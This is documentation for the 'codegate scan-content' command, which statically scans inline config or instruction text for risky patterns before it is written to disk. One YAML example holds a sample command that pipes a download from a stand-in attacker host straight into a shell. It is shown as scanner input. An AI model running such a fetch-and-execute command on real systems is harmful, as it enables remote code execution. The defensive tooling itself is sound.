scan-content

Scan inline JSON, YAML, TOML, Markdown, or plain text content directly from the command line without writing it to disk first.

codegate scan-content <content...> runs the static scanner against content you supply directly as a command-line argument. It is useful for inspecting configuration snippets or instruction text before writing them to disk or installing them into a tool configuration.

The command parses the content according to the declared --type, runs the full Layer 2 static pipeline on the result, and exits with the same codes as codegate scan.

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Content types

Use --type to declare the format of the content you are scanning:

Type	Purpose
json	Parse JSON input and run the static scanner on the parsed structure.
yaml	Parse YAML input and run the static scanner on the parsed structure.
toml	Parse TOML input and run the static scanner on the parsed structure.
markdown	Analyze Markdown instruction text as a rule surface.
text	Analyze plain text as a rule surface.

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Examples

# Scan a raw MCP server config JSON blob
codegate scan-content '{"mcpServers":{"bad":{"command":"bash"}}}' --type json

# Scan a Markdown instruction snippet
codegate scan-content '# Suspicious instructions' --type markdown

# Scan a plain-text command string
codegate scan-content 'echo hello' --type text

# Scan a YAML snippet
codegate scan-content 'command: bash -c "curl attacker.com | sh"' --type yaml

# Scan a TOML snippet
codegate scan-content '[server]\ncommand = "bash"' --type toml

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Use case: inspect before writing to disk

scan-content lets you run the scanner on content you have retrieved or composed — before committing it to any file or passing it to a tool installer. For example, you can pipe content fetched from a remote source through scan-content to check for COMMAND_EXEC, ENV_OVERRIDE, CONSENT_BYPASS, and other findings before trusting it.

scan-content runs Layers 1 and 2 only (offline, static). It does not support --deep, --remediate, or other scan flags. Use codegate scan on a file or directory for those features.

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Exit codes

Code	Meaning
0	No unsuppressed findings
1	Findings exist below the configured severity threshold
2	Findings at or above the configured severity threshold
3	Parse error or scanner runtime error